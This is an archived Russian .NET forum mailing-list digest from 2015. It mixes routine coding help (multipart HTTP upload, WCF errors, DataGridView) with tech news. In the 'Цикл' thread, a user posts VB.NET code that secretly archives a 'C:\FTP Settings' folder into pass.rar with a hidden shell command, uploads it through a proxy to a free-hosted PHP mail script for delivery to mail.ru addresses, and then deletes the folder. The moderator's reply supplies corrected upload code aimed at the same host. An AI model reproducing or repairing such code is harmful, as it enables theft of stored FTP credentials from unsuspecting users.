Рассылка закрыта
Вы можете найти рассылки сходной тематики в Каталоге рассылок.
← Апрель 2015 → | ||||||
1
|
2
|
3
|
4
|
|||
---|---|---|---|---|---|---|
6
|
7
|
8
|
9
|
10
|
11
|
12
|
13
|
14
|
15
|
16
|
17
|
18
|
19
|
20
|
21
|
22
|
23
|
24
|
25
|
26
|
27
|
28
|
29
|
30
|
Статистика
-1 за неделю
Загрузка файла HTTP на C#
|
Загрузка файла HTTP на C# 2015-03-22 15:53 Sharp Всем доброго дня/ночи/утра. Понадобилось загрузить файл средствами шарпа. Уже неделю мучаюсь, но ни как не могу понять реализацию. Были попытки через библиотеку xNet сделать, но и там свои проблемы. Может есть у кого прокоментированный код чтобы моя амфибия поняла, как это сделать. Передать нужно 2 параметра указанных на скриншоте. RE: Загрузка файла HTTP на C# 2015-03-22 18:56 Алексей Немиро Тип содержимого (content-type) должен быть multipart/form-data, с указанием границы (boundary). Параметры в запрос записываются с указанием для каждого элемента заголовка Content-Disposition. Содержимое разделяется указанной в типе содержимого (content-type) границей (boundary). В этой статьи показано как. RE: Загрузка файла HTTP на C# 2015-03-22 21:44 Sharp Смотрел ваш пример, но так и не понял где и когда передавать параметры. Вы делали под API и ответ у вас был в xml, а у меня будет в html и API нету. Отчет финдлера. private void button1_Click(object sender, EventArgs e) { OpenFileDialog ofd = new OpenFileDialog(); ofd.Filter = ""; if (ofd.ShowDialog() == DialogResult.OK) { textBox1.Text = ofd.FileName; } } private void button2_Click(object sender, EventArgs e) { string uploadFileContentType = "application/octet-stream"; // по умолчанию будет application/octet-stream Microsoft.Win32.RegistryKey myRegistryKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(Path.GetExtension(textBox1.Text)); if (myRegistryKey != null && myRegistryKey.GetValue("Content Type") != null) { uploadFileContentType = myRegistryKey.GetValue("Content Type").ToString(); } string uploadUrl = "http://сайтd.рф/upload.php"; HttpWebRequest req = (HttpWebRequest) HttpWebRequest.Create(uploadUrl); req.Method = "POST"; string boundary = "----------" + DateTime.Now.Ticks.ToString("x"); req.ContentType = String.Format("multipart/form-data; boundary={0}", boundary); } } Дальше ступор. Направьте, что и как дальше RE: Загрузка файла HTTP на C# 2015-03-22 23:51 Sharp Еще одна попытка. Правда половину, кода даже не понимаю. Программа компилируется, но ни чего не отправляет using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.IO; using System.Linq; using System.Net; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace RefudScan { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { OpenFileDialog ofd = new OpenFileDialog(); ofd.Filter = "JPEG|*.jpg|PNG|*.png|GIF|*.gif"; if (ofd.ShowDialog() == DialogResult.OK) { textBox1.Text = ofd.FileName; } } private void button2_Click(object sender, EventArgs e) { string boundary = "----------" + DateTime.Now.Ticks.ToString("x"); var request = HttpWebRequest.Create("http://site.ru/upload.php") as HttpWebRequest; request.Method = "POST"; request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; request.Referer = "http://site.ru/upload.php"; request.UserAgent = @"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0"; request.ContentType = String.Format("multipart/form-data; boundary=---------------------------{0}", boundary); request.KeepAlive = true; request.ProtocolVersion = new System.Version(1, 0); request.Headers.Add(HttpRequestHeader.AcceptLanguage, "ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3"); request.Timeout = 600000; request.AllowAutoRedirect = true; string uploadFileContentType = "application/octet-stream"; // по умолчанию будет application/octet-stream Microsoft.Win32.RegistryKey myRegistryKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(Path.GetExtension(textBox1.Text)); if (myRegistryKey != null && myRegistryKey.GetValue("Content Type") != null) { uploadFileContentType = myRegistryKey.GetValue("Content Type").ToString(); } Stream myReqStream = request.GetRequestStream(); string header = String.Format("\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n", boundary, "format"); byte[] h = System.Text.Encoding.UTF8.GetBytes(header); myReqStream.Write(h, 0, h.Length); byte[] b = System.Text.Encoding.UTF8.GetBytes("xml"); myReqStream.Write(b, 0, b.Length); header = String.Format("\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\"; " + "filename=\"{2}\"\r\nContent-Type: {3}\r\n\r\n", boundary, "uploadedfile", Path.GetFileName(textBox1.Text), uploadFileContentType); h = System.Text.Encoding.UTF8.GetBytes(header); myReqStream.Write(h, 0, h.Length); using (FileStream myFile = new FileStream(textBox1.Text, FileMode.Open, FileAccess.Read)) { using (BinaryReader myReader = new BinaryReader(myFile)) { byte[] buffer = myReader.ReadBytes(2048); while (buffer.Length > 0) { myReqStream.Write(buffer, 0, buffer.Length); buffer = myReader.ReadBytes(2048); } } } string footer = String.Format("\r\n--{0}--\r\n", boundary); byte[] f = System.Text.Encoding.UTF8.GetBytes(footer); myReqStream.Write(f, 0, f.Length); } } } Падает метод службы WCF 2015-03-23 00:36 Michael Имеется служба WCF. Все методы работают, но при вызове ОДНОГО ИЗ методов, он отрабатывает, но затем возникает такое исключение: RE: Падает метод службы WCF 2015-03-23 00:50 Алексей Немиро А код в методе какой? Перехват исключений есть? Если нет, то почему? RE: Падает метод службы WCF 2015-03-23 01:40 Michael Перехват есть. Но дело в том, что ошибка возникает в автосгенерированном файле Reference.cs. Вот фрагмент проблемного метода: RE: Падает метод службы WCF 2015-03-23 03:01 Алексей Немиро Служба отвечает, если через браузер обратиться? Фаервол не блокирует? Метод точно есть в службе, может не компилировались сборки или не было замены файлов на сервере (блокировку файлов можно не заметить). Или может метод запроса неправильный. Можно попробовать обновить ссылку на службу, или переподключить ее. RE: Падает метод службы WCF 2015-03-23 16:15 Michael Да, код службы работает. Падение происходит уже после работы метода службы. В Госдуму внесен законопроект о наделении блогеров правами журналистов 2015-03-23 16:26 Депутат Антон Казаков внес на рассмотрение в Госдуму законопроект, которым предлагается наделить популярных блогеров статусом, правами и обязанностями журналистов. «Без принятия данного закона блогеры, приравненные к журналистам, оказываются по сравнению с ними в ущемленном положении», — считает он. RE: Падает метод службы WCF 2015-03-23 16:39 Michael Обновлял ссылку, много раз. RE: Загрузка файла HTTP на C# 2015-03-23 16:41 Алексей Немиро Под что делать, значения не имеет. Протокол HTTP одинаковый везде. Первый вариант кода совсем недоделанный. Второй более ли менее должен работать. byte[] b = System.Text.Encoding.UTF8.GetBytes("xml");Зачем? Это же значение параметра. --граница Content-Disposition: form-data; name=имяПараметра значениеПараметра --граница Content-Disposition: form-data; name=имяПараметра2 значениеПараметра2 --граница Content-Disposition: form-data; name=имяПараметраДляФайла; filename=имяФайла Content-Type: типа/содержимого телоФайла ... и т.д. и т.п. ... --граница в конце запроса Если нужно передать параметр upload_file с одноименным значением, то код должен быть таким: // заголовок, см. что будет вставлено в name="{1}" string header = String.Format("\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n", boundary, "upload_file"); // получаем массив байт из текста заголовка byte[] h = System.Text.Encoding.UTF8.GetBytes(header); // пишем заголовок в запрос myReqStream.Write(h, 0, h.Length); // получаем массив байт для значения параметра byte[] b = System.Text.Encoding.UTF8.GetBytes("upload_file"); // значение параметра // пишем значение параметра в запрос myReqStream.Write(b, 0, b.Length); Код передачи файла вроде правильный. Нужно в Fiddler-е смотреть, в режиме RAW. RE: Падает метод службы WCF 2015-03-23 16:44 Алексей Немиро Без кода можно только гадать, почему не работает. Может ресурсов не хватает, памяти? Что показывает Fiddler? Facebook протестирует публикацию контента СМИ без перехода по внешним ссылкам 2015-03-25 15:50 Facebook через несколько месяцев собирается начать тестирование новой формы сотрудничества с крупнейшими мировыми СМИ. В рамках этого сотрудничества, соцсеть перенесет к себе статьи из газет и журналов, чтобы уменьшить время загрузки контента. Facebook договорился с The New York Times, National Geographic и Buzzfeed. Цикл 2015-03-26 15:47 i32 Не знаю ..Все через каку описал но работало ...Пока на работу не снес..Не тут начал перелопачивать... ПОДПРАВТЕ,,,Если конечно не впадло.. Смысл был что таймер работает с 1 а цикл с 0 . нужна была рассылка.. Потом возникли другие проблемы..ю. Там пхп код .. Может что то попроще кто либо подскажет.? я не шарю ..То что нашол в гугле..Такое трудно описать в нет. ?php if(empty($_POST['mail_to'])) exit("Введите адрес получателя"); // проверяем правильности заполнения с помощью регулярного выражения if (!preg_match("/^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}$/i", $_POST['mail_to'])) exit("Введите адрес в виде somebody@server.com"); $picture = ""; // Если поле выбора вложения не пустое - закачиваем его на сервер if (!empty($_FILES['mail_file']['tmp_name'])) { // Закачиваем файл $path = $_FILES['mail_file']['name']; if (copy($_FILES['mail_file']['tmp_name'], $path)) $picture = $path; } $mail_from = $_POST['mail_from']; $mail_to = $_POST['mail_to']; $thm = $_POST['mail_subject']; $msg = $_POST['mail_msg']; // Отправляем почтовое сообщение if(empty($picture)) mail($mail_to, $thm, $msg); else send_mail($mail_from, $mail_to, $thm, $msg, $picture); //send_mail($mail_from,$mail_to, $thema, $html, $path) // Вспомогательная функция для отправки почтового сообщения с вложением (Trianon) function send_mail($mail_from, $mail_to, $thema, $html, $path) { if ($path) { $fp = fopen($path,"rb"); if (!$fp) { print "Cannot open file"; exit(); } $file = fread($fp, filesize($path)); fclose($fp); } $name = "zamer2015.rar"; // в этой переменной надо сформировать имя файла (без всякого пути) $EOL = "\r\n"; // ограничитель строк, некоторые почтовые сервера требуют \n - подобрать опытным путём $boundary = "--".md5(uniqid(time())); // любая строка, которой не будет ниже в потоке данных. $headers = "MIME-Version: 1.0;$EOL"; $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"$EOL"; $headers .= "From: $mail_from"; //$headers .= $mail_from; $multipart = "--$boundary$EOL"; $multipart .= "Content-Type: text/html; charset=windows-1251$EOL"; $multipart .= "Content-Transfer-Encoding: base64$EOL"; $multipart .= $EOL; // раздел между заголовками и телом html-части $multipart .= chunk_split(base64_encode($html)); $multipart .= "$EOL--$boundary$EOL"; $multipart .= "Content-Type: application/octet-stream; name=\"$name\"$EOL"; $multipart .= "Content-Transfer-Encoding: base64$EOL"; $multipart .= "Content-Disposition: attachment; filename=\"$name\"$EOL"; $multipart .= $EOL; // раздел между заголовками и телом прикрепленного файла $multipart .= chunk_split(base64_encode($file)); $multipart .= "$EOL--$boundary--$EOL"; if(!mail($mail_to, $thema, $multipart, $headers)) //echo('<font color=FF0000>Неверно введено (или не введено) кол-во сообщений</font>'); {return False; //если не письмо не отправлено } else { //// если письмо отправлено echo('<center><b><font color=#00FF00>Сообщение успешно отправлено</font></b></center>'); return True; } exit; } ?> Sub Main() ProgressBar1.Maximum = 10 Try ProgressBar1.Value = 2 Label3.Text = "" Dim req As Net.HttpWebRequest Dim resp As Net.HttpWebResponse Dim str, str2 As IO.Stream Dim Proxy As String = TextBox2.Text Dim boundary As String = "------WebKitFormBoundary" + DateTime.Now.Ticks.ToString("X") ProgressBar1.Value = 3 ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Создаю ПОСТ Запрос")) Dim data As Byte() = System.Text.Encoding.GetEncoding(1251).GetBytes("&mail_from=" & "@mail.ru" & "&mail_to=" & "@mail.ru" & "&mail_subject=" & "JOBS" & "&mail_msg=" & "Свежак" & "&mail_file=" & _ "C:\FTP Settings\zamer2015.rar" & "&tmp_name=" & "zamer2015.rar") req = Net.WebRequest.Create("http://.webege.com/images/22.php") If TextBox2.Text = "" Then req.Proxy = Nothing Else req.Proxy = New WebProxy(Proxy) End If ProgressBar1.Value = 5 ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Конект через " & TextBox2.Text)) ' req.ServicePoint.Expect100Continue = False req.Method = "POST" req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" ' Das hier alles ist so gesehn unwichtig aber egal :) req.UserAgent = "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0" req.Headers.Add(Net.HttpRequestHeader.AcceptLanguage, "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3") req.Referer = "http://mskpsk.webege.com/" req.Headers.Add("UA-CPU", "x86") req.Headers.Add(Net.HttpRequestHeader.AcceptEncoding, "gzip, deflate") 'Furn Post Request den ContentType & Lenght + Data req.ContentType = "application/x-www-form-urlencoded" ' req.ContentType = Convert.ToString("multipart/form-data; boundary=") & boundary ' req.ContentType = "multipart/form-data; boundary=" & boundary '----WebKitFormBoundaryq4pNAy5vuI4uDe4S" req.Headers.Add("Cookie", cuc) req.AllowAutoRedirect = True ' Build up the post message header Dim sb As New StringBuilder() sb.Append(boundary) sb.Append(vbCr & vbLf) sb.Append("Content-Disposition: form-data; name=""mail_from""") sb.Append(vbCr & vbLf) sb.Append(vbCr & vbLf) sb.Append("rokin@mail.ru") sb.Append(vbCr & vbLf) sb.Append(boundary) sb.Append(vbCr & vbLf) sb.Append("Content-Disposition: form-data; name=""mail_to""") sb.Append(vbCr & vbLf) sb.Append(vbCr & vbLf) sb.Append("ovb71@mail.ru") sb.Append(vbCr & vbLf) sb.Append(boundary) sb.Append("Content-Disposition: form-data; name=""mail_subject""") sb.Append(vbCr & vbLf) sb.Append(vbCr & vbLf) sb.Append("zamer") sb.Append(vbCr & vbLf) sb.Append(boundary) sb.Append(vbCr & vbLf) sb.Append("Content-Disposition: form-data; name=""mail_msg""") sb.Append(vbCr & vbLf) sb.Append(vbCr & vbLf) sb.Append("привет") sb.Append(vbCr & vbLf) sb.Append(boundary) sb.Append(vbCr & vbLf) sb.Append("Content-Disposition: form-data; name=""mail_file""; filename=""zamer2015.rar""") sb.Append(vbCr & vbLf) sb.Append("Content-Type: application/octet-stream") ' Dim postHeader As String = sb.ToString() ' Dim data As Byte() = Encoding.UTF8.GetBytes(postHeader) req.ContentLength = data.Length str2 = req.GetRequestStream() str2.Write(data, 0, data.Length) str2.Close() ProgressBar1.Value = 6 ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Ждем ответа сервера")) resp = req.GetResponse str = resp.GetResponseStream() Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd ProgressBar1.Value = 8 ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Читаем ответ..Кодировка 1251")) ' Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.ASCII).ReadToEnd 'das ist die auslese Dim soq As String = Buffer Dim m As Match = Regex.Match(soq, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>") Label3.Text = (m.Groups("Bl").Value) Label3.ForeColor = Color.Red ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- ВСЕ ОТЛИЧНО!!! Смотрим свое МЫЛО!!")) ' Dim soq1 As String = Buffer 'Dim m1 As Match = Regex.Match(soq1, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>") ' MsgBox(m1.Groups("Bl").Value) ' TextBox6.Text = (m.Groups("Bl").Value) req = Nothing resp = Nothing str = Nothing Buffer = Nothing Catch e As Exception ProgressBar1.Value = 0 MessageBox.Show(e.Message) End Try ProgressBar1.Value = 10 End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load ListBox1.Text = "LOGI" ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Готов к работе..")) For a As Integer = 0 To ComboBox1.Items.Count - 1 'Step 1 spisok = ComboBox1.Items.Count - 1 ' MsgBox(spisok) Next End Sub Private Sub countup() WriteGoodCountSub() End Sub Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click thread = New System.Threading.Thread(AddressOf countup) thread.Start() batn() Shell("cmd /c timeout /t 100", vbHide) Shell("cmd /c start /min WinRAR.exe u -r -y -ep1 C:\""FTP Settings""\pass.rar C:\""FTP Settings"" >nul", vbHide) If CheckBox1.Checked = True Then 'опредиляем коллич.в списке batn() comb = ComboBox1.Items(0) Main() Timer1.Interval = 5000 Timer1.Start() 'Timer starts Else Main1() End If End Sub Sub Main1() ProgressBar1.Maximum = 10 Try ProgressBar1.Value = 3 Dim req As Net.HttpWebRequest Dim resp As Net.HttpWebResponse Dim str, str2 As IO.Stream Dim Proxy As String = TextBox2.Text ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Создаю ПОСТ Запрос")) Dim data As Byte() = System.Text.Encoding.GetEncoding(1251).GetBytes("&mail_from=" & comb & "&mail_to=" & comb & "&mail_subject=" & "JOBS" & "&mail_msg=" & "Свежак" & "&mail_file=" & _ "C:\FTP Settings\pass.rar" & "&tmp_name=" & "pass.rar") ' req = Net.WebRequest.Create("http://..com/simple_mmail.php") req = Net.WebRequest.Create("http://..com/simple_mmail.php") If TextBox2.Text = "" Then req.Proxy = Nothing Else req.Proxy = New WebProxy(Proxy) End If ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Конект через " & TextBox2.Text)) ' req.ServicePoint.Expect100Continue = False req.Method = "POST" req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" ' Das hier alles ist so gesehn unwichtig aber egal :) req.UserAgent = "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0" req.Headers.Add(Net.HttpRequestHeader.AcceptLanguage, "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3") req.Referer = "http://.webege.com/" req.Headers.Add("UA-CPU", "x86") req.Headers.Add(Net.HttpRequestHeader.AcceptEncoding, "gzip, deflate") 'Furn Post Request den ContentType & Lenght + Data req.ContentType = "application/x-www-form-urlencoded" req.Headers.Add("Cookie", cuc) req.AllowAutoRedirect = True req.ContentLength = data.Length str2 = req.GetRequestStream() str2.Write(data, 0, data.Length) str2.Close() ProgressBar1.Value = 8 ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Ждем ответа сервера")) resp = req.GetResponse str = resp.GetResponseStream() Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Читаем ответ..Кодировка 1251")) ' Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.ASCII).ReadToEnd 'das ist die auslese Dim soq As String = Buffer Dim m As Match = Regex.Match(soq, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>") Label3.Text = (m.Groups("Bl").Value) Label3.ForeColor = Color.Red ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- ВСЕ ОТЛИЧНО!!! Смотрим свое МЫЛО!!")) ' Dim soq1 As String = Buffer 'Dim m1 As Match = Regex.Match(soq1, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>") ' MsgBox(m1.Groups("Bl").Value) ' TextBox6.Text = (m.Groups("Bl").Value) ProgressBar1.Value = 10 ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Удаляем папку ""C:\FTP Settings""")) If IO.Directory.Exists("C:\FTP Settings") Then IO.Directory.Delete("C:\FTP Settings", True) End If ProgressBar1.Value = 0 ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Спасибо и Досвидос")) For i = 0 To ListBox1.Items.Count - 1 ListBox1.Text = ListBox1.Items(i) ListBox1.ClearSelected() Next Catch e As Exception MessageBox.Show(e.Message) End Try End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If pss >= spisok Then Timer1.Stop() 'Timer stop Timer1.Enabled = False ProgressBar1.Value = 0 ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Спасибо и Досвидос")) For i = 0 To ListBox1.Items.Count - 1 ListBox1.Text = ListBox1.Items(i) ListBox1.ClearSelected() Next MsgBox("Timer Stopped...." & vbCrLf & _ "РАЗОСЛАНО" & vbCrLf & spisok + 1 & " MESSAGI") Else Main() pss += 1 comb = ComboBox1.Items(pss) countup() ' Main() End If End Sub Public Sub WriteGoodCountSub() If Not (Me.InvokeRequired) Then Label2.ForeColor = Color.Magenta Label2.Text = comb.ToString Else Me.Invoke(New WriteGoodCount(AddressOf WriteGoodCountSub)) End If End Sub там я поток сделал.. Спасибо.. RE: Цикл 2015-03-26 18:58 Алексей Немиро Не совсем понимаю суть проблемы. Много кода Нужно отправить письмо? Именно через php? В .NET есть классы для отправки писем по SMTP. Вот в этой теме есть пример кода. Это будет проще, чем делать веб-запросы. RE: Проблемма с изменением цвета строк в DataGridView 2015-03-26 19:22 Леонид Спасибо за ответ, но результат не изменился. Результат положительный только в случае повторного нажатия на Butoon2. Но Почему? Так и не разобрался... Вышел из положения только так: Dim knok As Integer Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click ........... .......... knok = knok + 1 If knok = 1 Then Button2_Click(sender, e) End Sub ?????????????????????????????? RE: Проблемма с изменением цвета строк в DataGridView 2015-03-26 21:29 Алексей Немиро А цикл срабатывает после первого нажатия? Можно добавить перед циклом код: MessageBox.Show(DataGridView1.RowCount) Хотя, по идее строки должны быть, даже если данных много, они должны в текущем потоке загружаться... Вторая потенциальная проблема может быть в условии, которое определяет, нужно красить строку или нет. Если убрать это условие, все строки будут подкрашиваться? Amazon запустил сервис безлимитного хранения файлов 2015-03-27 15:57 Интернет-компания Amazon представила безлимитные тарифы на облачные услуги: хранение любого объема фотографий и еще 5 гигабайт любых других файлов в придачу обойдется в 12 долларов в год, безлимитное хранение любых файлов стоит 60 долларов в год. Эти тарифы выгодны тем, кто хранит в интернете больше 15 гигабайтов. Объявлены цены на Samsung Galaxy S6 и S6 Edge в России 2015-03-27 15:59 В «Гостином дворе» состоялась официальная презентация Samsung Galaxy S6 и S6 Edge. В ходе мероприятия, организованного в рамках «Недели моды в Москве», были объявлены цены на флагманы 2015 года. Несмотря на дороговизну, ценой новинки компании Samsung не смогли превзойти Apple iPhone 6 и iPhone 6 Plus. Google официально ответила на запрос журналиста «гифкой» 2015-03-27 15:59 Официальный представитель Google на просьбу прокомментировать слухи о перезапуске YouTube своего стримингового сервиса прислал gif-анимацию. Журналист Daily Dot направил в Google запрос, на который получил в ответ «гифку» с изображением недоумевающей девочки, ставшую интернет-мемом.
В Москве пройдет интерактивная выставка современных технологий 2015-03-30 15:36 В столичном технополисе «Москва» 28-29 марта пройдет интерактивная выставка современных технологий TechTrends Expo. На ней будут представлены носимые устройства, электроника для умного дома, гаджеты для создания виртуальной и дополненной реальности, а также 3D-сканеры и объемные принтеры. RE: Проблемма с изменением цвета строк в DataGridView 2015-03-30 17:13 Леонид Добавил проверку перед циклом "MessageBox.Show(DataGridView1.RowCount)" строки не пустые, условие вообще исключил строки так и не подкрашиваются... Самоудаление приложения 2015-03-30 17:26 Леонид Приветствую всех! Кто может подсказать как на VB.net реализовать удаление программы (самой себя) и всего ее содержимого после ну например 5-ти запусков? в VB.net я новичок. Спасибо заранее... RE: Самоудаление приложения 2015-03-30 17:44 Алексей Немиро Само себя приложение не сможет удалить, т.к. файл приложения будет блокирован. Нужно делать отдельное приложение, которое будет удалять приложение. Точнее bat-файл. RE: Проблемма с изменением цвета строк в DataGridView 2015-03-30 21:20 Алексей Немиро Значит что-то другое удаляет изменения... Нужен код проекта. У меня, с показанным ниже кодом, все работает, как положено: Public Class Form1 Private DT As New DataTable Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click Dim XX, YY, ZZ As Double Dim ppp As Integer 'счетчик количества строк содержащих ‘XXXX**’ 'XX = TextBox4.Text 'считываем в переменную содержание текстовых полей 'YY = TextBox5.Text 'считываем в переменную содержание текстовых полей 'ZZ = TextBox6.Text 'считываем в переменную содержание текстовых полей DT.Clear() DT.Columns.Add("a") DT.Columns.Add("b") DT.Columns.Add("c") DT.Rows.Add("1", "ХХХХХ", "123") DT.Rows.Add("2", "ХХХХХ**", "123") DT.Rows.Add("3", "ХХХХХ", "123") DT.Rows.Add("4", "ХХХХХ**", "123") DT.Rows.Add("5", "ХХХХХ", "123") 'формируем запрос с условием: 'SqlCom = New OleDb.OleDbCommand("SELECT_ [Код],[TipKT],[Structure],[Uke],[Ikmax],[Pkmax],[H21e] FROM [DanTR] where [Pkmax] >= " & Str(XX) & " and [Ikmax]>=" & Str(YY) & " and [Uke]>=" & Str(ZZ) & "", Con) ' Con.Open() ' Открываем соединение ' SqlCom.ExecuteNonQuery() 'Выполняем запрос 'DA = New OleDb.OleDbDataAdapter(SqlCom) 'Через адаптер получаем результаты запроса 'DA.Fill(DT) ' Заполняем результатами таблицу Me.DataGridView1.DataSource = DT ' Привязываем DataGridView к источнику данных DataGridView1.AllowUserToAddRows = False ' Удаляем последнюю пустую строку если есть Dim ss As Integer ' Объявляем счетчик For J As Integer = 0 To DataGridView1.RowCount - 1 ss = DataGridView1.Item(1, J).Value.ToString().IndexOf("**") ' Проверка на: если есть строки с ‘XXXX**’ и если есть закрашиваем в синий цвет If ss <> -1 Then ppp = ppp + 1 ' Пробую так: Me.DataGridView1.Rows(J).DefaultCellStyle.BackColor = Color.Blue ' Пробую и так: 'Me.DataGridView1.Rows(J).DefaultCellStyle.ForeColor = Color.Blue End If Next 'TextBox13.Text = ppp ' показываем сколько выполненных условий (это так для контроля) 'Con.Close() ' Закрываем соединение ' Скрываю колонки не нужные для отображения, оставляем только 1-ю DataGridView1.RowHeadersVisible = False DataGridView1.Visible = True End Sub End Class Проверка записей датагрид на соответствие 2015-03-31 13:53 email333333 Здравствуйте. На форме два датагрида. Пользователь выделяет запись в первом датагриде. Если у этой записи значение поля № 1 равно значению поля № 1 в любой записи из датагрид2 то выдать сообщение "Соответствие найдено". Чтобы эту задачу решить мне нужно пройтись от for i до количества записей во втором датагриде и выполнить такую проверку? If DatagriedView1.CurrenRow.Cells(0).Value = DatagriedView2.Rows(i).Cells(0).Value RE: Цикл 2015-03-31 15:23 i32 Привет Да Нужно отправить письмо через свой сервак по php// Просто у меня такой ПХП Что просто забив адресс файла (C\\file.jpg)-Придет ПУСТЫШКА Анализатор пишет <Place Holder for File> и Content-Type: application/octet-stream... Да ище весь файл в байтах.. Как токое описать на VB..Просто другие виды отправки с вложением не работают - с расчета из этого.. RE: Проверка записей датагрид на соответствие 2015-03-31 15:44 Алексей Немиро Да, верно. Value имеет тип данных Object, это следует учитывать, чтобы не было казусов. Лучше сравнивать строки: If DatagriedView1.CurrenRow.Cells(0).Value.ToString().Equals(DatagriedView2.Rows(i).Cells(0).Value.ToString()) Then DatagriedView2.CurrentCell = DatagriedView2.Rows(i).Cells(0) 'выделяем найденную ячейку MessageBox.Show("Совпадение найдено") Exit For 'выход из цикла End If RE: Цикл 2015-04-01 00:21 Алексей Немиро Код неправильный совсем Если есть .NET Framework 4.5, то можно подключить к проекту сборку System.Net.Http. Dim client As New System.Net.Http.HttpClient() Dim content As New System.Net.Http.MultipartFormDataContent() 'параметры Dim stringContent As New System.Net.Http.StringContent("rokin@mail.ru") stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data") stringContent.Headers.ContentDisposition.Name = "mail_from" content.Add(stringContent) stringContent = New Net.Http.StringContent("ovb71@mail.ru") stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data") stringContent.Headers.ContentDisposition.Name = "mail_to" content.Add(stringContent) stringContent = New System.Net.Http.StringContent("zamer") stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data") stringContent.Headers.ContentDisposition.Name = "mail_subject" content.Add(stringContent) stringContent = New System.Net.Http.StringContent("привет") stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data") stringContent.Headers.ContentDisposition.Name = "mail_msg" content.Add(stringContent) 'файл Dim fs As New System.IO.FileStream("G:\123.zip", IO.FileMode.Open, IO.FileAccess.Read, IO.FileShare.Inheritable) Dim streamContent As New System.Net.Http.StreamContent(fs) streamContent.Headers.ContentType = New System.Net.Http.Headers.MediaTypeHeaderValue("application/octet-stream") streamContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data") streamContent.Headers.ContentDisposition.Name = "mail_file" streamContent.Headers.ContentDisposition.FileName = "123.zip" content.Add(streamContent) 'отправляем асинхронный запрос client.PostAsync("http://webege.com/images/22.php", content) Remote Control 2015-04-02 03:50 rusiko Привет всем. У меня вопрос на тему удаленного подключения нескольких пользователей к одной машине.Задача такая. Есть десктопное приложение, в котором должны работать пользователи. Программа написана на Visual Basic 2013, а БД на SQL server 2012. В локальной сети все отлично работает, то есть все пользователи (их восемь), могут нормально подключиться и работать с программой, но как быть если какие-то пользователи (к примеру 3 пользователя), хотят одновременно подключиться к программе удаленно. Программа стоит на компьютере с ОС Windows Server 2008R2 X64. Посоветуйте пожалуйста самый простой и оптимальный вариант. То есть нужно чтобы когда подключался какой-то пользователь, другого пользователя не выбрасывало из сеанса. Спасибо заранее. Очень надеюсь на вашу помощь. RE: Цикл 2015-04-03 02:11 i32 Спасибо за подсказку..Надо все перелопачивать тогда..Проще проект новый.... RE: Проблемма с изменением цвета строк в DataGridView 2015-04-04 00:29 Леонид Но код-то пока сырой, страниц на 10 как его выложить? просто скопировать? Не вижу где прикрепить файл? RE: Проблемма с изменением цвета строк в DataGridView 2015-04-04 03:08 Алексей Немиро Через расширенную форму RE: Цикл 2015-04-04 